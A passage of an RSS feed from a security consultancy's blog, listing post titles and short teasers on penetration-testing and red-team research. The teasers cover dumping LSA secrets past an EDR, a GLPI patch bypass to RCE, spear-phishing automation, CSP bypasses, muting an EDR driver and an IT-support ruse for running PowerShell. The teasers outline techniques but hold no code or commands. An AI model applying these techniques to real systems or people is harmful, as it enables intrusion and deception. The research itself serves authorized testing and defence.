				<description>&lt;p&gt;While doing an internal assessment, I was able to compromise multiple computers and servers but wasn&amp;#8217;t able to dump the LSA secrets because of a particular EDR being installed and pretty aggressive against me.&lt;/p&gt;&#xA;&lt;p&gt;In this blog post we&amp;#8217;ll see how this EDR was blocking me and why it is still possible to dump these secrets exploiting decorrelation attacks! As a bonus, I&amp;#8217;ll show you a fancy way of retrieving the Windows boot key without having to dump the SYSTEM hive.&lt;/p&gt;</description>
			</item>
			<item>
				<title>From a GLPI patch bypass to RCE</title>
				<link>https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/</link>
				<pubDate>Thu, 20 Jun 2024 10:04:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/</guid>
				<description>&lt;h2 &gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;GLPI is a popular software used by companies, mainly in France. GLPI is usually used for two main purposes. Firstly it allows companies to see the &lt;strong&gt;inventory&lt;/strong&gt; of their different equipment (such as: computers, software, printers, etc…). Secondly it is used for its ticketing system, allowing users to create &lt;strong&gt;tickets&lt;/strong&gt; about their issues. It also has different roles for each user, those who can only create tickets (low privileges user), and those who get central access (again there are different roles here). During an internal penetration test, chances are that if you got an account, you will be a low privilege user, known as &lt;strong&gt;Self-Service&lt;/strong&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Targeting an industrial protocol gateway</title>
				<link>https://sensepost.com/blog/2024/targeting-an-industrial-protocol-gateway/</link>
				<pubDate>Thu, 30 May 2024 11:19:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/targeting-an-industrial-protocol-gateway/</guid>
				<description>&lt;p&gt;Inside industrial systems (also known as Operational Technology, or OT), devices communicate with each other and can be accessed over IP using familiar IT protocols (such as SSH, web services, etc.), as well as with a variety of industrial network protocols. Among them, you may have heard of Modbus, maybe S7comm, OPC-UA and a few others, but do you know all the industrial protocols you could find on industrial networks? It would take a lifetime to list them all, considering the field-specific standards, the manufacturer-dependent protocols and variations, the association-promoted specifications, and their numerous versions, layers, extensions and adaptations. In the end, an industrial process typically involves a collection of devices, servers and workstations that are likely to use many different protocols and still need to understand each other.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Guest vs Null session on Windows</title>
				<link>https://sensepost.com/blog/2024/guest-vs-null-session-on-windows/</link>
				<pubDate>Thu, 18 Apr 2024 19:12:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/guest-vs-null-session-on-windows/</guid>
				<description>&lt;p&gt;If you have been doing internal assessments on Active Directory infrastructure you may have heard the following words: &amp;#8220;Null session&amp;#8221;, &amp;#8220;Guest session&amp;#8221; and &amp;#8220;Anonymous session&amp;#8221;. These words describe techniques that can be used on Windows servers to connect to resources and obtain information about a computer or Active Directory objects such as users or SMB shares you have access on. Even if these techniques are well known I realised that people, including myself, didn&amp;#8217;t understand them completely. This got me wanting to better understand it, hence this blogpost :)!&lt;/p&gt;</description>
			</item>
			<item>
				<title>From Discovery to Disclosure: ReCrystallize Server Vulnerabilities</title>
				<link>https://sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/</link>
				<pubDate>Fri, 22 Mar 2024 07:47:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/</guid>
				<description>&lt;p&gt;&lt;strong&gt;TL&amp;amp;DR&lt;/strong&gt; &amp;#8211; While on an assessment, I found an instance of ReCrystallize Server. It had many problems, some of which had to do with insufficient hardening on the client&amp;#8217;s side while others were new vulnerabilities I found that when chained together, achieve Remote Code Execution (RCE). These vulnerabilities were disclosed to ReCrystallize Software and MITRE.&lt;/p&gt;&#xA;&lt;p&gt;Besides the disclosed vulnerabilities, some &amp;#8220;features&amp;#8221; were also used for malicious purposes. The replication and validation of the findings were done on my own test environment.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mail in the Middle – A tool to automate spear phishing campaigns</title>
				<link>https://sensepost.com/blog/2024/mail-in-the-middle-a-tool-to-automate-spear-phishing-campaigns/</link>
				<pubDate>Mon, 26 Feb 2024 14:32:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/mail-in-the-middle-a-tool-to-automate-spear-phishing-campaigns/</guid>
				<description>&lt;h2 &gt;Context&lt;/h2&gt;&#xA;&lt;p&gt;In the chilly month of December 2023, my colleagues Jason (&lt;a href=&#34;https://twitter.com/BreakerOfSigns&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;@BreakerOfSigns&lt;/a&gt;), Szymon (&lt;a href=&#34;https://twitter.com/TH3_GOAT_FARM3R&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;@TH3_GOAT_FARM3R&lt;/a&gt;), and myself (&lt;a href=&#34;https://twitter.com/felmoltor&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;@felmoltor&lt;/a&gt;) were on a red team. This one was tough, but we had fun. We had to be a bit more creative than I am used to and two interesting things were done that are worth sharing:&amp;nbsp;&lt;/p&gt;&#xA;&lt;ol  start=&#34;1&#34;&gt;&#xA;&lt;li&gt;Szymon and Jason physically broke into the client’s facilities. At a branch office, they left an implant using Rogan’s &lt;a href=&#34;https://sensepost.com/blog/2020/making-the-perfect-red-team-dropbox-part-2/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;“Slimjim” device&lt;/a&gt; and it proved to be a solid and production ready project. &lt;em&gt;Try it out and &lt;/em&gt;&lt;a href=&#34;https://twitter.com/sensepost&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;&lt;em&gt;let us know&lt;/em&gt;&lt;/a&gt;&lt;em&gt; how it goes.&lt;/em&gt;&amp;nbsp;&lt;/li&gt;&#xA;&lt;li&gt;I developed a tool that we named Mail-in-the-Middle (Maitm for short). You can find it in our Github repository here: &lt;a href=&#34;https://github.com/sensepost/mail-in-the-middle&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;https://github.com/sensepost/mail-in-the-middle&lt;/a&gt;.&amp;nbsp;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I cannot speak in first person about the physical breakin beyond praising the excellent social engineering skills of both of my colleagues, but I &lt;strong&gt;can&lt;/strong&gt; talk about Mail-in-the-Middle.&amp;nbsp;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Deck of Cards CTF</title>
				<link>https://sensepost.com/blog/2024/deck-of-cards-ctf/</link>
				<pubDate>Mon, 19 Feb 2024 10:39:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/deck-of-cards-ctf/</guid>
				<description>&lt;p&gt;I created a small crypto style CTF for Black Hat last year (we&amp;#8217;re training again this year, &lt;a href=&#34;https://www.orangecyberdefense.com/global/insights/events/black-hat-usa-2024&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;check our courses out&lt;/a&gt;) and hid the starting point in an &amp;#8220;easter egg&amp;#8221; on a deck of cards. The deck of cards are a custom design by the SensePost training team, which were themed around hacking and were handed out during the conference. This post covers how we built it, and how to solve it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Serial PitM</title>
				<link>https://sensepost.com/blog/2024/serial-pitm/</link>
				<pubDate>Tue, 06 Feb 2024 15:04:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/serial-pitm/</guid>
				<description>&lt;p&gt;Sometimes you need to get in the way of a hardware device and its controller, and see what it has to say for itself. If you are lucky, the two parts are communicating using a serial port, and then it&amp;#8217;s relatively simple to do. In this post, I will explain two scenarios where I had to do this, and the approach that I took in each. As a bonus, I&amp;#8217;ll also show some hardware that I put together to make it easier.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sensecon 23: from Windows drivers to an almost fully working EDR</title>
				<link>https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/</link>
				<pubDate>Wed, 31 Jan 2024 08:33:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/</guid>
				<description>&lt;p&gt;TL;DR I wanted to better understand EDR&amp;#8217;s so I built a &lt;a href=&#34;https://github.com/sensepost/mydumbedr&#34;&gt;dummy EDR&lt;/a&gt; and talk about it here. &lt;/p&gt;&#xA;&lt;p&gt;EDR (&lt;strong&gt;E&lt;/strong&gt;ndpoint &lt;strong&gt;D&lt;/strong&gt;etection and &lt;strong&gt;R&lt;/strong&gt;esponse) is a kind of security product that aims to detect abnormal activities being executed on a computer or a server.&lt;/p&gt;&#xA;&lt;p&gt;When looking for resources about how EDR&amp;#8217;s work, I realised that, even if there is a lot of literature available about EDR&amp;#8217;s, there aren&amp;#8217;t many articles explaining how an EDR&amp;#8217;s is architected and how the different components of a EDR are orchestrated. This article aims to demystify how EDR&amp;#8217;s work while building a custom one that will implement a few techniques used by real EDR&amp;#8217;s.&lt;/p&gt;</description>
			</item>
			<item>
				<title>your contributions, today</title>
				<link>https://sensepost.com/blog/2023/your-contributions-today/</link>
				<pubDate>Wed, 20 Dec 2023 07:14:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/your-contributions-today/</guid>
				<description>&lt;p&gt;Keynoting &lt;a href=&#34;https://0xcon.co.za/&#34;&gt;0xcon&lt;/a&gt; in Johannesburg this year, I had the immense privilege of talking and sharing ideas about something that is dear to my heart. That is, giving back more than you take. And by giving back I don&amp;#8217;t mean *just* doing research or writing tools. Instead, giving back includes things like writing documentation or even just teaching someone else! &lt;/p&gt;&#xA;&lt;div &gt;&#xA;&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2023/your-contributions-today/44dd830d88c55c5a53e7ce44206e37e1.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;308&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2023/your-contributions-today/01db1c25d88c8bc15025f56214525eff.png&#34; width=&#34;1024&#34; /&gt;&lt;/a&gt;&lt;/figure&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;In my talk, &amp;#8220;your contributions, today&amp;#8221; I reflected on a current view of practical security research and contributions in a time of ever-increasing systems complexity, abstractions and Instagram reels. By drawing parallels to the &amp;#8220;Free-rider Problem” as described in an economics context, I argued that as an industry we need to caution against this phenomenon manifesting by actively making contributions.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Why defend harder won’t work in the long run and what to do instead – arrest criminals</title>
				<link>https://sensepost.com/blog/2023/why-defend-harder-wont-work-in-the-long-run-and-what-to-do-instead-arrest-criminals/</link>
				<pubDate>Tue, 12 Dec 2023 11:21:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/why-defend-harder-wont-work-in-the-long-run-and-what-to-do-instead-arrest-criminals/</guid>
				<description>&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2023/why-defend-harder-won-t-work-in-the-long-run-and-what-to-do-instead-arrest-criminals/7b6b381d2f3ca5bed70386cfb3da39e2.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;569&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2023/why-defend-harder-won-t-work-in-the-long-run-and-what-to-do-instead-arrest-criminals/c419be21c55768304b48f0bf53f98c3f.jpg&#34; width=&#34;1024&#34; /&gt;&lt;/a&gt;&lt;/figure&gt;&#xA;&lt;p&gt;The whole of information/cyber security is founded on the idea that we can defend ourselves into security. But in the history of competitive endeavours nobody has won by playing defence alone. We have this idea that we can wrap our users and systems in enough padding to protect them in a world where guns exist. We’ve leaned so hard into this idea that we’re on the floor and it’s time to look up.&amp;nbsp;&lt;/p&gt;</description>
			</item>
			<item>
				<title>we’re going to bsides cape town 2023</title>
				<link>https://sensepost.com/blog/2023/were-going-to-bsides-cape-town-2023/</link>
				<pubDate>Tue, 28 Nov 2023 07:17:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/were-going-to-bsides-cape-town-2023/</guid>
				<description>&lt;p&gt;Arguably one of the largest hacking conferences in South Africa, &lt;a href=&#34;https://bsidescapetown.co.za/bsides-conf/2023&#34;&gt;BSides Cape Town 2023&lt;/a&gt; is around the corner and the SensePost Team is there with a jam packed agenda demonstrating our latest research (with &lt;strong&gt;five&lt;/strong&gt; talks), challenges and more! In this post, I&amp;#8217;ll summarise what you can expect. For timing related information, check out the schedule &lt;a href=&#34;https://pretalx.com/bsides-cape-town-2023/schedule/&#34;&gt;here&lt;/a&gt;. Be sure to come and say hi at our stand in the chill area too.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Black Hat Card Deck CTF</title>
				<link>https://sensepost.com/blog/2023/black-hat-card-deck-ctf/</link>
				<pubDate>Tue, 31 Oct 2023 07:10:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/black-hat-card-deck-ctf/</guid>
				<description>&lt;p &gt;In 2023 we, the training team within Orange Cyberdefense and specifically Ulrich Swart, Matthew Hughes and myself, attempted to do something a little different for Black Hat with regards to our in class competition. &lt;/p&gt;&#xA;&lt;p &gt;Each year we give a select few students some swag for portraying the most &amp;#8220;plakker&amp;#8221; mindset, being active in class, or finding another method to solve the practical.&lt;/p&gt;&#xA;&lt;p &gt;The concept we decided to explore that year was creating a deck of standard playing cards they could bring out when friends are over and become a discussion point. The cards have educational tidbits about some material they will learn on some of our flagship courses, specifically the Infrastructure, Web Application, Wi-Fi and Red Team courses each had their own suit.&lt;/p&gt;</description>
			</item>
			<item>
				<title>P4wnP1 LTE updates</title>
				<link>https://sensepost.com/blog/2023/p4wnp1-lte-updates/</link>
				<pubDate>Fri, 27 Oct 2023 15:12:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/p4wnp1-lte-updates/</guid>
				<description>&lt;p&gt;After publishing my blog post about &lt;a href=&#34;https://sensepost.com/blog/2023/p4wnp1-lte/&#34;&gt;running P4wnP1 on an LTE modem&lt;/a&gt;, where I explained how to install Linux and P4wnP1 on an actual LTE modem for sneaky USB attacks, and then trying and failing to do an internal presentation to show it off to folks, I realised that I had not completely documented the process. In fact, I had left it rather &lt;strong&gt;incomplete&lt;/strong&gt; as it turned out! As I was intending to give a public demonstration of P4wnP1-LTE, I had some work to do.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Reading Large Files and Perf</title>
				<link>https://sensepost.com/blog/2023/reading-large-files-and-perf/</link>
				<pubDate>Tue, 19 Sep 2023 08:08:18 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/reading-large-files-and-perf/</guid>
				<description>&lt;p&gt;One of the things that has often confused me is how little good advice there is for reading large files efficiently when writing code.&lt;/p&gt;&#xA;&lt;p&gt;Typically most people use whatever the canonical file read suggestion for their language is, until they need to read large files and it’s too slow. Then they google “efficiently reading large files in &amp;lt;lang&amp;gt;” and are pointed to a buffered reader of some sort, and that’s that.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Dress Code – The Talk</title>
				<link>https://sensepost.com/blog/2023/dress-code-the-talk/</link>
				<pubDate>Wed, 23 Aug 2023 16:29:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/dress-code-the-talk/</guid>
				<description>&lt;h2 &gt;TL;DR &lt;/h2&gt;&#xA;&lt;p&gt;This post is a summary of the contents of my talk in &lt;a href=&#34;https://www.appsecvillage.com/events/dc-2023&#34;&gt;Defcon 31 AppSec Village&lt;/a&gt; last August 2023, and part of what I will explain in Canada at the &lt;a href=&#34;https://www.blackhat.com/sector/2023/briefings/schedule/index.html#dress-code---analysis-of-the-current-status-of-the-content-security-policy-34050&#34;&gt;SecTor&lt;/a&gt; conference on the 24th of October 2023 at 4:00 PM.&lt;/p&gt;&#xA;&lt;p&gt;There are two (big) blocks in this post. Sorry for the length &amp;lt;(_ _)&amp;gt;:&lt;/p&gt;&#xA;&lt;ol &gt;&#xA;&lt;li&gt;The &lt;a href=&#34;#status&#34;&gt;first part&lt;/a&gt; is about the not so well-known CSP bypasses that I found during this research. These can be of use in your next pentest, bug bounty, etc. Have a look at the 8 third-party domains that can be abused to bypass a strict policy to execute that sweet Cross-Site Scripting (XSS) or clickjacking proof of concept that was initially being blocked.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&#34;#bypasses&#34;&gt;second part&lt;/a&gt; takes a step back and delves into the process of getting Content-Securiy-Policy (CSP) data from top 1 million sites and the conclusions I draw from it. After reading this part you will get a sense of how widespread and well-implemented CSP is across the Internet. You will also learn the common pitfalls people fall into when implementing the policy. The tool I wrote to scan and collect this information and review the results can be found in &lt;a href=&#34;https://github.com/sensepost/dresscode&#34;&gt;https://github.com/sensepost/dresscode&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 &gt;Index&lt;/h2&gt;&#xA;&lt;ul &gt;&#xA;&lt;li&gt;&lt;a href=&#34;#context&#34;&gt;Context&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#bypasses&#34;&gt;Bypasses&lt;/a&gt;&#xA;&lt;ol &gt;&#xA;&lt;li&gt;&lt;a href=&#34;#lab&#34;&gt;Lab Environment&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#hotjar&#34;&gt;Hotjar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#facebook&#34;&gt;Facebook&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#jsdelivr&#34;&gt;JSDelivr&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#amazonaws&#34;&gt;Amazon AWS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#others&#34;&gt;Cloudfront, Azure, Heroku, Firebase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#status&#34;&gt;CSP Health Status&lt;/a&gt;&#xA;&lt;ul &gt;&#xA;&lt;li&gt;&lt;a href=&#34;#architecture&#34;&gt;The Architecture&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#dashboard-health&#34;&gt;Dashboard &amp;#8211; CSP Health Status&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#conclusions&#34;&gt;Conclusions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 &gt;Context&lt;/h2&gt;&#xA;&lt;p&gt;Last year I was working on a web application assessment, one of these assessments that are repeated every year in which the analyst has to face a hardened application. Therefore, every year, the report gets smaller and smaller when we look at the number of vulnerabilities. &lt;/p&gt;</description>
			</item>
			<item>
				<title>Filter-Mute Operation: Investigating EDR Internal Communication</title>
				<link>https://sensepost.com/blog/2023/filter-mute-operation-investigating-edr-internal-communication/</link>
				<pubDate>Fri, 28 Jul 2023 14:38:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/filter-mute-operation-investigating-edr-internal-communication/</guid>
				<description>&lt;p&gt;For our annual internal hacker conference dubbed SenseCon in 2023, I decided to take a look at communication between a Windows driver and its user-mode process. Here are some details about that journey.&lt;/p&gt;&#xA;&lt;h2 &gt;TL;DR&lt;/h2&gt;&#xA;&lt;p&gt;Attackers could use Windows kernel R/W exploit primitive to avoid communication between EDR_Driver.sys and its EDR_process.exe. As a result some EDR detection mechanisms will be disabled and make it (partially) blind to malicious payloads. This blogpost describes an alternative approach which doesn&amp;#8217;t remove kernel callbacks and gives some recommendations for protecting against this &amp;#8220;filter-mute&amp;#8221; attack.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Orange Cyberdefense at Hacker Summer Camp</title>
				<link>https://sensepost.com/blog/2023/orange-cyberdefense-at-hacker-summer-camp/</link>
				<pubDate>Mon, 17 Jul 2023 15:55:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/orange-cyberdefense-at-hacker-summer-camp/</guid>
				<description>&lt;p&gt;It&amp;#8217;s that time of year again where we head out to the desert, more specifically Las Vegas, for what is known as Hacker Summer Camp to attend Black Hat and DEF CON 31! Like previous years, the SensePost team will be present in full force delivering talks, training and hanging out at numerous occasions. For an idea on what we&amp;#8217;ve got lined up, check out the rest of this blog post. If you&amp;#8217;re keen to meet up, feel free to reach out!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Browsers’ cache smuggling</title>
				<link>https://sensepost.com/blog/2023/browsers-cache-smuggling/</link>
				<pubDate>Mon, 10 Jul 2023 08:33:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/browsers-cache-smuggling/</guid>
				<description>&lt;p&gt;On red team engagements, I often use social engineering to get one of my client’s employees to run my malicious code on their machines, allowing me to get access to their system. A typical approach I’ve used is to call them up, tell them I’m from IT support, and then get them to go to an official looking web page that contains some PowerShell code they need to run, to fix some made-up problem.&lt;/p&gt;</description>
			</item>
			<item>
				<title>P4wnP1-LTE</title>
				<link>https://sensepost.com/blog/2023/p4wnp1-lte/</link>
				<pubDate>Sun, 09 Jul 2023 18:06:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/p4wnp1-lte/</guid>
				<description>&lt;p&gt;I&amp;#8217;ve written a couple of blog posts in the past in which I explain how to use Marcus Mengs&amp;#8217; truly excellent &lt;a href=&#34;https://github.com/RoganDawes/P4wnP1_aloa&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;P4wnP1&lt;/a&gt;. The most common deployment scenario involves a Raspberry Pi Zero W, or possibly a &lt;a href=&#34;https://sensepost.com/blog/2020/making-the-perfect-red-team-dropbox-part-1/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;FriendlyArm NanoPi R1S&lt;/a&gt;. The downside of these platforms is that you need to be in fairly close physical proximity in order to access the WiFi interface, or even closer to access Bluetooth. The NanoPi R1S can support an LTE modem, to give you much bigger range, but the downside to that is that it looks pretty clunky.&lt;/p&gt;</description>
			</item>
			<item>
				<title>select * from projectdiscovery join steampipe</title>
				<link>https://sensepost.com/blog/2023/select-from-projectdiscovery-join-steampipe/</link>
				<pubDate>Mon, 03 Jul 2023 09:52:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/select-from-projectdiscovery-join-steampipe/</guid>
				<description>&lt;p&gt;Recently, I decided to take a look at &lt;a href=&#34;https://steampipe.io/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Steampipe&lt;/a&gt; again. I like SQL and the structure it provides, and after playing around a bit I figured: &amp;#8220;Wouldn&amp;#8217;t it be cool to write a plugin for the immensely popular &lt;a href=&#34;https://projectdiscovery.io/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;projectdiscovery&lt;/a&gt; tools?&amp;#8221;. That is exactly what I did and you can find the source code for it here: &lt;a href=&#34;https://github.com/sensepost/steampipe-plugin-projectdiscovery&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;https://github.com/sensepost/steampipe-plugin-projectdiscovery&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 &gt;overview&lt;/h2&gt;&#xA;&lt;p&gt;For the purposes of footprinting, everything you can do with steampipe you can do with a bash script. You technically don&amp;#8217;t need SQL. However, with bash you always need to bust out some text wrangling with tools like &lt;code&gt;sed&lt;/code&gt; and &lt;code&gt;awk&lt;/code&gt;. That in itself isn&amp;#8217;t bad, but the data is inherently unstructured and error-prone as a result. Instead, if we could have our data in a database, we could do arbitrary lookups, join and more!&lt;/p&gt;</description>
			</item>
			<item>
				<title>an offensive look at docker desktop extensions</title>
				<link>https://sensepost.com/blog/2023/an-offensive-look-at-docker-desktop-extensions/</link>
				<pubDate>Tue, 30 May 2023 07:24:42 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/an-offensive-look-at-docker-desktop-extensions/</guid>
				<description>&lt;p&gt;For our annual internal hacker conference dubbed SenseCon in 2023, I decided to take a quick look at &lt;a href=&#34;https://docs.docker.com/desktop/extensions/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Docker Desktop Extensions&lt;/a&gt;. Almost exactly a year after being &lt;a href=&#34;https://www.docker.com/press-release/docker-announces-docker-extensions-and-docker-desktop-for-linux-at-dockercon-2022/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;announced&lt;/a&gt;, I wondered what the risks of a malicious docker extension could be. This is a writeup of what I learned, a few tricks I used to get some answers and how I found a &amp;#8220;non-issue&amp;#8221; command injection in the extensions SDK. Everything in this post was tested on macOS and Docker Desktop 4.19.0 (106363).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Investigating the Wink Hub 2</title>
				<link>https://sensepost.com/blog/2023/investigating-the-wink-hub-2/</link>
				<pubDate>Fri, 26 May 2023 10:40:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/investigating-the-wink-hub-2/</guid>
				<description>&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2023/investigating-the-wink-hub-2/39fcfbb4e72b4bb515027837b378da45.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;768&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2023/investigating-the-wink-hub-2/10baa23b17651d7a2d79a41e324e26ef.png&#34; width=&#34;1024&#34; /&gt;&lt;/a&gt;&lt;figcaption &gt;Rogan brought half of his hardware parts bin to the hackathon!&lt;/figcaption&gt;&lt;/figure&gt;&#xA;&lt;p&gt;Michael Rodger, Daniel Scragg, Isak van der Walt, Thulani Mabuza and Rogan Dawes formed the Chubby Hackers team to investigate the Wink Hub 2 during SenseCon 2023. This was building on our project from SenseCon 2022 where we looked at the Wink Hub 1, particularly the various debug interfaces for the main i.MX28 and the peripheral radio controller chips. There is quite a lot of detailed information available online for the Wink Hub 1, but not a whole lot for the Wink Hub 2. In fact, there is practically nothing! We aimed to change that.&lt;/p&gt;</description>
			</item>
			<item>
				<title>hash-cracker – password cracking done effectively</title>
				<link>https://sensepost.com/blog/2023/hash-cracker-password-cracking-done-effectively/</link>
				<pubDate>Wed, 05 Apr 2023 12:35:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/hash-cracker-password-cracking-done-effectively/</guid>
				<description>&lt;h2 &gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;I wrote a tool to help with cracking of hashes, today I finally decided to blog about it. The idea was to take what I&amp;#8217;d learned about common patterns in passwords, and put my experience into practice to make password cracking more efficient on future engagements. Below is a short history of how we got to where we are, as well as some examples of how to use it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Protected Users: you thought you were safe uh?</title>
				<link>https://sensepost.com/blog/2023/protected-users-you-thought-you-were-safe-uh/</link>
				<pubDate>Fri, 31 Mar 2023 06:03:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/protected-users-you-thought-you-were-safe-uh/</guid>
				<description>&lt;p&gt;On the 31st of October 2022, a PR on &lt;a href=&#34;https://github.com/Porchetta-Industries/CrackMapExec/pull/655&#34;&gt;CrackMapExec from Thomas Seigneuret (@Zblurx)&lt;/a&gt; was merged. This PR fixed Kerberos authentication in the CrackMapExec framework. Seeing that, I instantly wanted to try it out and play a bit with it. While doing so I discovered a weird behaviour with the Protected Users group. In this blogpost I&amp;#8217;ll explain what the Protected Users group is, why it is a nice security feature and yet why it is incomplete for the Administrator (RID500) user.&lt;/p&gt;</description>
			</item>
			<item>
				<title>From BitLocker-Suspended to Virtual Machine</title>
				<link>https://sensepost.com/blog/2023/from-bitlocker-suspended-to-virtual-machine/</link>
				<pubDate>Tue, 28 Mar 2023 18:06:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/from-bitlocker-suspended-to-virtual-machine/</guid>
				<description>&lt;p&gt;On a recent red-team I was given a client laptop from which I was expected to simulate an insider-threat/employee laptop compromise scenario over their VPN. &lt;/p&gt;&#xA;&lt;p&gt;I was given a normal employee user account and did &lt;strong&gt;not&lt;/strong&gt; have local administrator privileges. The laptop itself was riddled with security products and snitchware, threatening to report back every action taken on the system to the SOC/SIEM. My first objective was to obtain local administrative access, so that I could disable these security products. &lt;/p&gt;</description>
			</item>
			<item>
				<title>Decoding BlazorPack</title>
				<link>https://sensepost.com/blog/2023/decoding-blazorpack/</link>
				<pubDate>Wed, 22 Feb 2023 02:05:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/decoding-blazorpack/</guid>
				<description>&lt;p&gt;TL;DR: I couldn&amp;#8217;t make a custom BlazorPack editor work in Burp, so I used Mallet instead. From an indecipherable binary mess to this, in about &lt;a href=&#34;https://github.com/sensepost/mallet/blob/master/scripts/ServerSideBlazorUpgradeHandler.groovy&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;100 lines&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2023/decoding-blazorpack/6cb7020055d66bb82721f0915fa64274.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;645&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2023/decoding-blazorpack/49cb2a0e6d465d9455d54b86599259a6.png&#34; width=&#34;1024&#34; /&gt;&lt;/a&gt;&lt;figcaption &gt;Decoded BlazorPack messages&lt;/figcaption&gt;&lt;/figure&gt;&#xA;&lt;p&gt;For details on how to do this yourself, even for other protocols, read on!&lt;/p&gt;&#xA;&lt;p&gt;On a recent assessment, &lt;a href=&#34;https://twitter.com/mariankabotes&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;Marianka&lt;/a&gt; ran into 